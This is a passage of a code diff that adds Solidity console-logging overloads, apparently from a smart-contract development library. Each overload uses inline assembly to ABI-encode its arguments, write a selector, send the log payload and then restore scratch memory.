+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,bool,address)`.
+            mstore(0x00, 0x932bbb38)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,bool,bool)`.
+            mstore(0x00, 0x850b7ad6)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,bool,uint256)`.
+            mstore(0x00, 0xc95958d6)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,bool,string)`.
+            mstore(0x00, 0xe298f47d)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p0)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,uint256,address)`.
+            mstore(0x00, 0x1c7ec448)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,uint256,bool)`.
+            mstore(0x00, 0xca7733b1)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            // Selector of `log(string,uint256,uint256)`.
+            mstore(0x00, 0xca47c4eb)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+        }
+        _sendLogPayload(0x1c, 0xa4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,uint256,string)`.
+            mstore(0x00, 0x5970e089)
+            mstore(0x20, 0x60)
+            mstore(0x40, p1)
+            mstore(0x60, 0xa0)
+            writeString(0x80, p0)
+            writeString(0xc0, p2)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,string,address)`.
+            mstore(0x00, 0x95ed0195)
+            mstore(0x20, 0x60)
+            mstore(0x40, 0xa0)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+            writeString(0xc0, p1)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,string,bool)`.
+            mstore(0x00, 0xb0e0f9b5)
+            mstore(0x20, 0x60)
+            mstore(0x40, 0xa0)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+            writeString(0xc0, p1)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, uint256 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            // Selector of `log(string,string,uint256)`.
+            mstore(0x00, 0x5821efa1)
+            mstore(0x20, 0x60)
+            mstore(0x40, 0xa0)
+            mstore(0x60, p2)
+            writeString(0x80, p0)
+            writeString(0xc0, p1)
+        }
+        _sendLogPayload(0x1c, 0xe4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bytes32 p2) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            // Selector of `log(string,string,string)`.
+            mstore(0x00, 0x2ced7cef)
+            mstore(0x20, 0x60)
+            mstore(0x40, 0xa0)
+            mstore(0x60, 0xe0)
+            writeString(0x80, p0)
+            writeString(0xc0, p1)
+            writeString(0x100, p2)
+        }
+        _sendLogPayload(0x1c, 0x124);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+        }
+    }
+
+    function log(address p0, address p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,address,address)`.
+            mstore(0x00, 0x665bf134)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,address,bool)`.
+            mstore(0x00, 0x0e378994)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,address,uint256)`.
+            mstore(0x00, 0x94250d77)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,address,string)`.
+            mstore(0x00, 0xf808da20)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,bool,address)`.
+            mstore(0x00, 0x9f1bc36e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,bool,bool)`.
+            mstore(0x00, 0x2cd4134a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,bool,uint256)`.
+            mstore(0x00, 0x3971e78c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,bool,string)`.
+            mstore(0x00, 0xaa6540c8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,uint256,address)`.
+            mstore(0x00, 0x8da6def5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,uint256,bool)`.
+            mstore(0x00, 0x9b4254e2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,address,uint256,uint256)`.
+            mstore(0x00, 0xbe553481)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, address p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,uint256,string)`.
+            mstore(0x00, 0xfdb4f990)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,string,address)`.
+            mstore(0x00, 0x8f736d16)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,string,bool)`.
+            mstore(0x00, 0x6f1a594e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,address,string,uint256)`.
+            mstore(0x00, 0xef1cefe7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, address p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
